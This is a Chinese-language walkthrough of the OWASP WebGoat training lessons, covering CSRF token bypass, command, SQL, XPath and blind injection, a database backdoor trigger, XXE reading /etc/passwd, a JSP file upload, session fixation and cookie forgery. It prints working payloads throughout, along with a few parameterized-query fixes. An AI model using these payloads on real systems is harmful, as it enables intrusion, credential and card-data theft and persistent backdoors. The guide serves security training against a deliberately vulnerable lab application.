CSRF Token By-Pass(绕过CSRF Token)
主题:本节课程将指导您如何在启用CSRF Token 防护的网站上发起跨站请求伪造攻击(CSRF)。跨站请求伪造攻击(CSRF/XSRF)欺骗用户(那些已经获取了系统的信任)点击带有伪造请求的页面从而执行相关命令。基于 Token 的请求认证用于阻止此类攻击者。该技术在请求发起页面插入Token。Token用于完成请求和并验证该操作不是通过脚本执行的。OWASP 提供的CSRFGuard 使用该技术以阻止CSRF 攻击。
原理:网页中所有手工发起的请求操作,其实质通过HTML+JavaScript 向服务器发起请求。
目标:
类似CSRF课程,你的目标是往新闻组发送一个转移资金的恶意请求。为了成功完成,你需要获取一个有效的请求token。呈现资金转移表单的页面包含一个有效的请求token。转移资金页的URL是“attack”servlet,其带有此课程的“Screen”和“menu”查询参数,还有一个额外参数“transferFunds=main”。加载此页面,读取token,在伪造请求里把token追加到transferFunds参数后面。当你认为攻击成功时,刷新页面,你将会在左边菜单发现一个绿色的复选框。
在Title输入:CSRF Token By-Pass Attack
在Message输入构造的代码:<script>
var tokensuffix;
function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
}
</script>
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
点击Submit,然后在Message List里点击“CSRF Token By-Pass Attack”,
如下图所示:
点击消息链接:
HTTPOnly Test(HTTPOnly 测试)
主题:为了降低跨站脚本攻击的威胁,微软引入了新的cookie 属性字段:“HTTPOnly”。一旦该字段被标记,浏览器将禁止客户端脚本访问Cookie。由于该属性相对较新,有些浏览器还无法正确处理这个属性。
原理:无
目标:
为了帮助减轻XSS威胁,微软引入了一个新的cookie属性命名“HttpOnly”。如果这个标志被设置,那么浏览器将不允许客户端脚本访问cookie。由于此属相相对较新,一些浏览器忽略正确地去处理这个新属性。支持的浏览器列表请查看:http://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HTTPOnly
总目标
这节课程的目的是测试你的浏览器是否支持HTTPOnlyCookie标志,注意“unique2u”Cookie的值。如果你的浏览器支持HTTPOnly标识,你开启它,那么客户端代码不应该读和写cookie,但是浏览器仍然向服务器传输cookie内容。也有一些浏览器仅阻止客户端读访问,但没阻止写访问。
课程方法
打开HTTPOnly,在浏览器地址栏里输入“"javascript:alert(document.cookie)”。注意除unique2u之外的cookie都被显示出来。
Improper Error Handling(不当的错误处理)
Fail Open Authentication Scheme(失败的认证方案)
主题:本节课程介绍了关于认证“无法打开”的基本知识。用安全术语来讲,“fail open”描述了一个验证机制的行为。这是一个验证方法的验证结果为“true”时发生的错误(意外的异常)。在登录过程中,这是特别危险的。
原理:Java 代码中异常处理部分为成功认证行为进行异常捕获。该异常产生是因为密码字段使用了空指针。
目标:
由于认证机制里的错误处理问题,作为“webgoat”用户进行认证不需要输入密码成为可能。尝试作为webgoat用户登录而不需要指定密码。
使用代理拦截请求,删除密码参数。如下图所示:
Injection Flaws(注入缺陷)
Command Injection(命令注入)
主题:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
这种攻击容易扩散,造成更坏的影响。但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。这节课将为学员展示几个参数注入的例子。
“清洗”所有输入数据总是不错的做法,尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。
原理:在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。
目标:
尝试向操作系统注入一个命令。
使用代理拦截请求,在HelpFile后添加脚本:【BasicAuthentication.help;ipconfig" 】 或【BasicAuthentication.help;netstat -an"】(此处如果使用&代替“;”,则会把ipconfig或netstat 当做一个参数,具体原因不详),命令后的双引号不能丢掉。
注:要实现上述功能,需要对源码做一些修改,位置:org.owasp.webgoat.plugin.CommandInjection,其源码对所能使用的脚本命令进行了限制,需要根据实际使用的操作系统进行修改,本人使用的是Windows操作系统,将List<String> VALID_WINDOWS_CMDS = Lists.newArrayList("dir", "ls", "netstat -a", "ipconfig");修改为List<String> VALID_WINDOWS_CMDS = Lists.newArrayList("dir", "ls", "netstat -an", "ipconfig");
将136行的fileData = exec(s, "cmd.exe /c type "" + new File(safeDir, helpFile).getPath() + """);修改为fileData = exec(s, "cmd.exe /c type "" + safeDir.getPath()+ """ + "&" + finalCom);,保存源文件,重新打包成jar文件。执行成功如下图所示:
选择帮助文件,点击view:
代理拦截请求,修改HelpFile=的内容:
查看到 /etc/passwd 内容:
Numeric SQL Injection(数字型SQL注入)
主题:SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这些风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响,但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。这节课将为学员展示几个参数注入的例子。尽管SQL 注入威胁可能已经通过其它方式被拦截,但“清洗”所有输入数据总是不错的做法,尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。
原理:在station 字段中注入特征字符,能组合成新的SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
目标:
下述表单允许一个用户查看天气数据。尝试注入SQL字符串,使得显示所有的天气数据。
使用代理拦截请求,将参数station=101修改为station=101 or 1 = 1,然后提交请求,如下图所示:
Log Spoofing(日志欺骗)
主题:障眼法
原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
目标:
灰色区域表示Web服务器日志上记录的信息;
目标是使像admin这样的用户成功的登录;
通过增加脚本来提升日志文件的攻击。
在用户名输入:“smith%0D%0ALogin Succeeded for username admin”,密码随便输入,点击Login,如下图所示:
XPATH Injection
主题:本节课程将教会您如何实施XPath 注入攻击。
原理:与SQL 注入类似,XPATH 注入发生在当网站使用用户提供的信息查询XML 数据时。通过向网站故意发送异常信息,攻击者可以发现XML 数据的结构或访问那些本来无法访问到的数据。如果该XML 是一个用户认证文件(例如一个基于XML 的用户文件),攻击者
还能借此提升自己在网站中的特权。使用XPATH 查询XML,通过一个简单的描述性语句类型,允许XML 查询,找到一条信息。像SQL 一样,您可以指定找到的某些属性与模式匹配。
当一个网站中使用 XML,它是普遍接受某种形式的输入,查询字符串,找到并将标识的内容显示在页面上。此类输入必须进行清洗,以验证它不会影响XPATH 的查询,并返回错误数据。
目标:
下述表单允许员工查看包含薪水的所有他们的个人信息。你的账号是Mike/test123。你的目标是尝试查看其他员工的数据。
1、 XPATH 注入类似于 SQL 注入。通过未验证的输入创建一个 XPATH 查询。下面你能看到如何构建一个 XPATH 查询。该页面代码如下:
String dir = LessonUtil.getLessonDirectory(s, this) + "/xml/" + "/EmployeesData.xml";
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
2、 在用户名处注入 Smith' or 1=1 or 'a'='a,这将会显示你登录系统的第一个用户。密码是必须的字段,可以任意输入。
3、 以下是服务器获取的:
expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='xxx']"
4. 以下是服务器解析后的结果:
expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='xxx' ) ]
String SQL Injection(字符串注入)
主题:SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这些风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响,但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。这节课将为学员展示几个参数注入的例子。尽管SQL 注入威胁可能已经通过其它方式被拦截,但“清洗”所有输入数据总是不错的做法,尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。
原理:基于以下查询语句构造自己的SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
目标:
下述表单允许用户浏览他们的信用卡号。尝试注入SQL字符串以使的所有信用卡号被显示。尝试用用户“Smith”。
在用户名里输入:Smith' or '1' = '1,点击查询,如下所示:
LAB: SQL Injection
阶段1:String SQL Injection
使用字符串SQL注入绕过认证。使用SQL注入以Boss(“Neville”)登录而不需要正确的密码。验证Neville的简介可被查看,所有其他功能可用(包含查询、创建和删除)。
使用代理拦截请求,修改password=' or'1'='1,然后提交请求,如下图所示:
阶段2:Parameterized Query #1(修复方式:参数化查询)
使用一个参数化查询来阻止SQL注入
实施修复来阻止登录页字段的SQL注入问题。重复阶段1。验证攻击不再生效。
修改org.owasp.webgoat.plugin.sqlinjection.LoginSqlInjection.java的login方法,将String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";修改为String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
在try块内增加如下代码,同时注释掉相关代码:
Connection connection = WebSession.getConnection(s);
PreparedStatement ps = (PreparedStatement) connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ps.setString(1,userId);
ps.setString(2,password);
ResultSet answer_results = ps.executeQuery();
完成上述代码后,打包,重新运行,使用OWASP ZAP拦截请求,修改password=' or'1'='1,然后提交请求,如下图所示:
阶段3:Numeric SQL Injection
绕过认证执行SQL注入。
作为正常员工“Larry”,在查看功能(从员工列表页)的参数里使用SQL注入查看boss(“Neville”)的简介。
使用代理拦截请求,将employee_id参数修改为:101 or 1=1 order by salary desc,如下图所示:
阶段4:Parameterized Query #2 (修复方式:参数化查询)
使用参数化查询阻止SQL注入。
实施修复来阻止登录页字段的SQL注入问题。重复阶段3。验证攻击不再生效。
修改:org.owasp.webgoat.plugin.sqlinjection.ViewProfileSqlInjection.java
将String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
修改为String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = ? and ownership.employee_id = ?";
在try块内增加,并注销掉相关代码:
Connection connection = WebSession.getConnection(s);
PreparedStatement ps = (PreparedStatement) connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ps.setString(1,userId);
ps.setString(2,subjectUserId);
ResultSet answer_results = ps.executeQuery();
如下图所示:
Database Backdoors(数据库后门)
主题:如何创建数据库后门。
原理:数据库通常作为一个Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert, select, update or delete。举个例子:攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。
阶段1:使用字符串SQL注入执行多于一个SQL语句。此课程的第一阶段是教你如何使用一个脆弱性字段去创建两个SQL语句。第一个是系统的,第二个完全是你的。你的账户ID是101。此页允许你查看你的密码、ssn和工资。尝试注入另一个更新去更新你的工资。
在User ID输入框输入:101;update employee set salary = 65000 where userid=101; ,点击提交,如下图所示:
阶段2:使用SQL注入注入一个后门。课程的第二阶段是教你如何利用SQL注入脆弱性字段注入DB work或后门。现在尝试使用同样的技术注入一个触发器,其可以作为SQL后门,触发器的语法是:CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid。
注意:由于当前DB不支持触发器,因此你什么也执行不了。
在User ID里输入:101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.
点击提交,如下图所示:
Blind Numeric SQL Injection(数字型盲注)
主题:SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这些风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
这种攻击容易扩散,造成更坏的影响,但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。这节课将为学员展示几个参数注入的例子。
尽管SQL 注入威胁可能已经通过其它方式被拦截,但“清洗”所有输入数据总是不错的做法,尤其是那些将被用于操作系统命令、脚本和数据库查询语句的数据。
原理:某些SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
目标:
以下的表单允许一个用户输入一个账号号码,以决定其是否有效。使用这个表单在数据库上开发一个true/false的测试检查其他实体。
课程目标是在pins表里发现字段pin的值,其cc_number的值是11112222333334444,此字段类型是int,是一个触发器。
把发现的pin值输入表单传递给课程。
使用盲注进行爆破,在“Enter your Account Number”输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );,根据返回的提示来判断“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000”为真或为假,逐步缩小范围,最后尝试用2364进行请求,返回成功,然后把2364输入表单,提交,如下图所示:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 1250 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 1875 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2187 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2343 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2421 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2382 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2363 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2372 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2368 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2366 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2365 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2364 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2363 );
确定值为2364
Blind String SQL Injection(字符串盲注)
以下的表单允许一个用户输入一个账号号码,以决定其是否有效。使用这个表单在数据库上开发一个true/false的测试检查其他实体。
参考Ascii的值: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122
课程目标是在pins表里发现字段name的值,其cc_number的值是11112222333334444,此字段类型是varchar,是一个字符串。
把发现的name值输入表单传递给课程。仅被发现的名字输入表单字段,密切注意拼写和大小写。
使用盲注进行爆破,在“Enter your Account Number”输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'h' );,根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'h' );
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
Denial of Service(拒绝服务攻击)
ZipBomb(压缩包炸弹)
服务器仅接受ZIP文件,在上传后进行解压,使用文件做些事,然后删除。提供了20MB的临时存储来控制所有尝试去执行DOS攻击的请求,这些攻击使用一个请求消耗掉所有的临时存储。
主要思路是:突破2MB文件限制,上传20MB的文件,通过查看源码,你步骤是:1、判断文件是否小于2MB;2、判断是否zip文件;3、解压zip文件,累加zip文件里所有文件的size之和total,如果total大于20MB,则攻击成功。因此可以压缩几个word或者文本文件,这几个word或者文本文件的和大于20MB,但是 压缩成zip之后,其和小于2MB。
Denial of Service from Multiple Logins
主题:拒绝服务攻击是Web 应用程序中的主要问题。如果最终用户不能开展业务或执行由Web 应用程序所提供的服务,则是浪费时间和金钱。
原理:数据库连接总是要占用移动资源的;过度使用会影响系统性能。
目标:
站点允许用户登录多次。站点有一个数据库连接池允许两个链接。你必须获取有效用户列表,创建3个登录。
1、 使用SQL注入获取有效用户列表
在User Name里随便输入用户名,在Password里输入“' or 'a'='a”,如下图所示:
2、 使用不同的浏览器用上述用户进行登录,如下图所示:
Insecure Communication(不安全的通讯)
Insecure Login(不安全登录)
主题:敏感数据不能用明文发送,通常在验证后要切换到安全连接。攻击者可通过嗅探获得的登录信息和收集到的其他信息入侵账户。一个好的Web 应用程序总是使用加密方式发送敏感数据。
原理:HTTP 数据包可以被WireShark 等工具捕获,直接明文读取。使用 HTTPS 访问后,所有数据被加密。服务器与应用程序通过传输层安全(TransportLayer Security (TLS))又称为安全套接字层(Secure Socket Layer (SSL))。TLS 是一种混合的加密协议,一个主密钥来建立通信。这个密钥使用的是SHA-1 或MD5。
目标:
此课程需要有一个服务器客户端设置。请参考介绍章节的Tomcat配置。
阶段1:在这个阶段,你需要嗅探密码。在登陆后回答问题。
使用代理拦截请求,获取到密码为:sniffy,登陆后,在下述界面输入sniffy,点击提交,完成第一阶段。
阶段2:现在你需要改变安全链接。URL应该以https://开始。如果你的浏览器要求证书,请忽略它。再次嗅探流量和回答问题。
配置好服务器的https链接后,点击登录,使用代理拦截请求,什么也获取不到,在登录成功界面如下图所示,点击提交。
生成Tomcat可以使用的SSL证书,
自签名证书,并导出公钥证书文件:
修改Tomcat的配置文件server.xml
重启Tomcat服务:
验证是否可以使用TLS加密进行链接通信:
Insecure Storage(不安全存储)
主题:在Web 应用程序中会根据不同的应用选择不同的编码方案。
原理:每一个编码方案都有与其相关的算法。
Encoding Basics(加密基础)
本课程将使用户熟悉不同的编码方案
在输入框输入任意的字符串,如password,点击“Go!”,如下所示:
Description |
Encoded |
Decoded |
Base64编码是一种简单的可逆编码,常用于把字节编码成ASCII字符,用于使得字节成为可打印的字符串,但不提供安全。 |
cGFzc3dvcmQ= |
?,?? |
实体编码使用特殊的序列如&作为特殊字符,这样可以防止这些字符被大多数解释器所解释。 |
password |
password |
基于密码的加密(PBE)是强大的文本密码加密。没有密码无法解密。 |
GHhYiKuAXCDKqVSzUBJyCg== |
This is not an encrypted string |
MD5哈希是一个可以用来验证一个字符串或字节数组的校验和,具有不可逆性,无法通过逆转找到原始字符串或字节。为了隐藏密码的原因,如果可以选择,最好使用SHA-256. |
X03MO1qnZdYdgyfeuILPmQ== |
Cannot reverse a hash |
SHA-256哈希是一个校验和,可用于验证一个字符串或字节数组,但不能逆转找到原始字符串或字节。 |
XohImNooBHFR0OVvjcYpJ3NgPQ1qq73WKhHvch0VQtg= |
N/A |
Unicode encoding is... |
Not Implemented |
Not Implemented |
URL encoding is... |
password |
password |
十六进制编码简单的把字节编码成为%XX格式。 |
%70%61%73%73%77%6F%72%64 |
String not comprised of Hex digit pairs. |
ROT13是一种使文本不可读的方法,但是它很容易被逆转,且不提供安全。 |
cnffjbeq |
cnffjbeq |
XOR密码编码是一种脆弱的加密方案,它将密码混合在数据中。 |
Nw4cERIdNQs= |
?C?? |
Double unicode encoding is... |
Not Implemented |
Not Implemented |
Double URL encoding is... |
password |
password |
Malicious Execution(恶意执行)
Malicious File Execution(恶意文件执行)
主题:很多网站允许用户上传文件,例如:图片或是视频。 如果确实有效的安全措施,包含恶意指令的文件会被上传到服务器并执行。
原理:脚本后门属于典型的恶意文件。
目标:
下述表单允许你上传一个图像文件,此图像将会显示在页面上。像这样的特性通常出现在基于web的论坛和社交网站。这个特性是容易受到恶意文件执行。
为了通过这个课程,上传并运行一个恶意文件。
将以下内容保存为hacker.jsp文件上传:
<HTML> <% java.io.File file = newjava.io.File("/opt/tomcat/apache-tomcat/webapps/webgoat/mfe_target/webgoat.txt"); file.createNewFile(); %> </HTML>
访问 http://192.168.185.73:8080/webgoat/uploads/hacker.jsp 执行脚本中的内容。
然后刷新该菜单项
Parameter Tampering(参数修改)
Bypass HTML Field Restrictions
主题:客户端验证不应该被认为是一种安全的参数验证方法。这种验证方式只能帮那些不知道所需输入的用户缩短服务器处理时间。攻击者可以用各种方法轻易的绕过这种机制。任何客户端验证都应该复制到服务器端。这将大大减少不安全的参数在应用程序中使用的可能性。在这个练习中,每个输入框中有不同的输入要求,您要做的就是绕过客户端验证机制破坏这些规则,输入不允许输入的字符。
原理:很多浏览器辅助工具都支持修改HTML或JavaScript 代码,也支持手动提交HTTP 数据。
目标:
下述表单使用HTML表单字段限制。为了通过这节课程,提交表单,每一个字段包含一个不允许的值。你必须在一个表单提交中提交所有六个字段的无效值。
使用代理拦截请求,并修改所有参数的值。然后提价,如下图所示:
去掉disabled属性,将此表单启用。
XML External Entity (XXE)
尝试在搜索表单中找到缺陷并列出操作系统的根目录。
<?xml version="1.0"?> <!DOCTYPE Header [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <searchForm> <from>&xxe;</from></searchForm>
Exploit Hidden Fields(利用隐藏的字段)
主题:开发人员在加载信息的页面上使用隐藏字段来跟踪、登录、定价等。虽然这是一种方便且易于开发的机制,他们往往不验证从隐藏字段收到的信息。本课程中,我们将了解如何找到和修改隐藏字段以便宜的价格购买产品。
原理:不同的HTTP 参数会触发后端不同的业务逻辑。
如果你还没有这么做,尝试用更便宜的购买价格购买HDTV。
在页面找到“<input name="Price" type="HIDDEN" value=" 2999.9">”,将value值修改为更小的值,点击“UpdateCart”,如下图所示:
Exploit Unchecked Email
主题:验证所有的输入信息总是不错的做法。多数网站都允许一个非验证的用户给“朋友”发送e-mail。对垃圾邮件发送者来说,这是一个绝佳的机制,可以利用公司的邮件服务器来发送电子邮件。
原理:很多网站对输入数据的合法性未做验证。
这个表单是一个客户支持页的例子。使用下述表单尝试:
1、 向website管理员发送一个恶意脚本
在Question or Comments的输入框输入“<script>alert(document.cookie)</script>”,点击“Send”,完成此任务。
2、 从OWSAP向“frient”发送一个恶意脚本
使用拦截请求,修改参数“to”的内容为:webgoat.friend@owasp.org,点击提交,完成此任务。
Bypass Client Side JavaScript Validation
站点执行客户端和服务器端验证。对于这个例子你的工作是破坏客户端验证,发送不期望的站点输入。你必须同时破坏所有7个验证。
查看页面元素,将“<input type="BUTTON" onclick="validate();" value="Submit">”修改为“<input type=" Submit " value="Submit">”,点击提交。
Session Management Flaws
Hijack a Session(会话劫持)
主题:开发人员在开发他们的自有会话ID 时经常忘记整合的复杂性和随机性,这些因素对安全来说是必须的。如果用户的特定的会话ID 不具备复杂和随机性,那么应用程序很容易受到基于会话的暴力攻击的威胁。
原理:会话ID 一般由Session 生成,存储在客户端Cookie 的某个字段中。
目标:
应用开发者开发自己的会话ID时经常忘记包含安全所需的复杂性和随机性。如果一个用户的特定会话ID不复杂和随机,那么应用程序很容易遭受到基于会话的蛮力攻击。
课程目标:
尝试访问其他人的授权会话。
参考视频:https://www.youtube.com/watch?v=FA5FjjV4L7Y
Cookie里面的WEAKID这个参数是会话标识。我们知道如果客户端发送给Web服务器的请求里面没有会话标识的话,服务器会从新生成一个新的会话标识并通过Cookie返回给客户端
1、 尝试获取会话ID
使用代理拦截请求,把Cookie里的WEAKID清空,然后发送请求,直到界面显示如下所示:
2、 发送获取到的会话ID
使用代理拦截请求,把Cookie里的WEAKID的值设置为上图中红色显示的值,然后发送请求,如下所示:
使用上述方法的原因是:通过查看源码,只有在WEAKID的值为null时,才会生成新的WEAKID,且在生成新的WEAKID时,使用了序列号模29为0时才生成。
其WEAKID的组成为”序列号”+”=”+”当前时间”
发送到数据到定序器(Sequencer)
Spoof an Authentication Cookie(欺骗认证Cookie)
主题:如果验证cookie 正确,一些应用程序会允许一个用户自动登录到他们的网站。如果能够获得生成cookie 的算法,有时cookie 的值是可以猜到的。有时候cookie 可能是通过跨站攻击截获的。在这一课中,我们的目的是了解身份验证cookie 的方式,并指导您学习突破
这种身份验证cookie 的方法用户应该能绕过认证检查。使用webgoat/webgoat账号登录看发生了什么。你也可以使用aspect/aspect。当你理解了认证cookie,尝试把你的标识更改为alice。
原理:Cookie 存储在客户端,可随时被篡改用于特别用途。
1、 使用webgoat/webgoat登录,然后点击“Refresh”,使用代理拦截请求,获取到 Cookie: JSESSIONID=F8D13612D534A6CB0C3449D76FDCD898; AuthCookie=65432ubphcfx;
2、 使用aspect/aspect登录,然后点击“Refresh”,使用代理拦截请求,获取到 Cookie: JSESSIONID=F8D13612D534A6CB0C3449D76FDCD898; AuthCookie=65432udfqtb;
从上述两个AuthCookie的组成可以发现,其是65432+登录用户名的换位,其换位方式:每个字母都是用户名倒过来,并被替换为它后面的字母
3、 使用alice/alice登录,使用代理拦截请求,在Cookie里增加AuthCookie=65432fdjmb;,然后提交,如下图所示:
Session Fixation(会话固定)
主题:通过会话固定盗取Session。
原理:服务器通过每个用户的唯一的Session ID 来确认其合法性。如果用户已登录,并且授权他不必重新验证授权时,当他重新登录应用系统时,他的Session ID 依然是被认为合法的。在一些程序中,可能会在GET-REQUEST 请求中传递Session ID。这就是攻击的起点。
一个攻击者可以用一个选定的 Session ID 给受害人发送一个超链接。例如,这里有一个准备好的邮件,它看起来像是一个从应用程序管理员发来的官方邮件。如果受害者点击了这个链接,并且该受害者以攻击者指定的ID 登录了系统;那么攻击者可以不经授权直接使用
与受害者相同的ID 访问该页面。
目标:
阶段1:你是Hacker Joe,你想窃取Jane的会话。向Jane发送一个准备好的邮件,其看起来像是来自银行的官方邮件。信息模板已准备好,你将需要在email里的链接增加一个会话ID。更改链接以包含SID。
可以通过向链接中加入&SID=WHATEVER.当然WHATEVER可以用其他字符代替。这个链接可以是这样:
http://192.168.185.73:8080/WebGoat/attack?Screen=311&menu=1800&SID=WHATEVER
阶段2:现在你是受害者,接收到了下面的邮件。如果你使用鼠标指向链接,你将会看到包含一个SID。点击它看发生了什么。
阶段3:使用Jane/tarzan登录,如下图所示:
阶段4:现在是窃取会话的时候了。使用下面的链接到达Goat Hills的财务。
在浏览器地址栏看到的SID为WHATEVER,将其修改为: NOVALIDSESSION,然后回车,如下图所示:
Web Services
Create a SOAP Request
主题:Web Service 通过使用SOAP 请求进行通信。这个请求提交到一个尝试执行一个Web 服务描述语言(WSDL)定义的函数的Web 服务。让我们一起来学习一些关于WSDL 的文件。查看一下WebGoat 的WSDL 文件。
目标:
尝试使用或者Web Service工具连接WSDL。URL地址是http://localhost/WebGoat/services/SoapRequest,通常在后面加上?WSDL访问。你必须访问操作两次以通过此课程。
1、在浏览器打开http://192.168.2.87:8080/WebGoat/services/SoapRequest?WSDL,如下图所示:
2、 第一步要求我们得到有多少个操作,通过查看WSDL界面,可以发现共有4个操作。完成阶段1,如下图所示:
3、 根据WSDL文件获取方法getFirstNameRequest参数ID的数据类型,通过查看源文件,可以知悉其类型 为int,输入,然后点击提交,完成阶段2。
4、 你必须访问操作两次以通过此课程。
WSDL Scanning
主题:Web Services 通过使用SOAP 请求进行通信。这个请求提交到一个尝试执行一个Web 服务描述语言(WSDL)定义的函数的Web 服务。让我们一起来学习一些关于WSDL 的文件。查看一下WebGoat 的WSDL 文件。
目标:
下面所列是web service里的API。检查这个Web service的WSDL文件,尝试获得客户的信用卡号。
Web Service SAX Injection
原理:Web Services 通过使用SOAP 请求进行通信。这个请求提交到一个尝试执行一个Web 服务描述语言(WSDL)定义的函数的Web 服务。让我们一起来学习一些关于WSDL 的文件。查看一下WebGoat 的WSDL 文件。
目标:
一些Web界面在后台使用Web服务。 如果前端依赖于Web服务进行所有输入验证,则可能会破坏Web界面发送的XML。
在本练习中,尝试更改101以外的用户的密码。
在输入框输入下面内容:
<id xsi:type='xsd:int'>102</id>
<password xsi:type='xsd:string'>P@$$w0rd?</password>
Web Service SQL Injection
WebServices通过使用SOAP请求进行通信。这些请求被提交到一个尝试执行使用Web服务描述语言(WSDL)定义的函数的Web服务。
课程目标:
检查WSDL文件,尝试获取多个客户的信用卡号码。你将不会看到结果呈现在界面。当你确信你成功时,刷新页面并寻找“绿色型号”
未能实现成功。
Challenge
你的任务是破坏认证方案,从数据库窃取所有的信用卡,然后修改网站。你将不得不使用你在其他课程学到的技巧。对于这个站点需要修改的主页是“webgoat_challenge_webgoat.jsp”。
阶段1:
通过鼠标右键查看源代码,可以获取User Name=youaretheweakestlink,
尝试了各种SQL注入,返回的都是无效,无奈之下,就想到了查看源代码。
使用代理拦截请求,将WebGoat后的都删掉,然后增加source?source=true,可以在源码的121行看到pass= "goodbye",输入上述两个参数,点击“Login”,如下图所示:
阶段2:
依据上图提示,需要获取所有信用卡号,根据前述课程经验,肯定是使用SQL注入来获取所有信息。在第二个页面没有出现任何请求,所以还需要从登录页面进行入手。
依次对Username/Password/Submit/user/user(Cookie)这几个注入点进行检查,发现对user(Cookie)进行注入就可以获得到所有信用卡信息,但是注意使用的是Base64编码后的信息。
youaretheweakestlink' OR '1'='1 编码后注入代码为eW91YXJldGhld2Vha2VzdGxpbmsnIE9SICcxJz0nMQ==
阶段3:
此页面显示各种协议的表单,依据经验(猜)这种形式的表单获取两种形式:
1、 利用SQL从数据库获取
2、 利用CMD命令行得到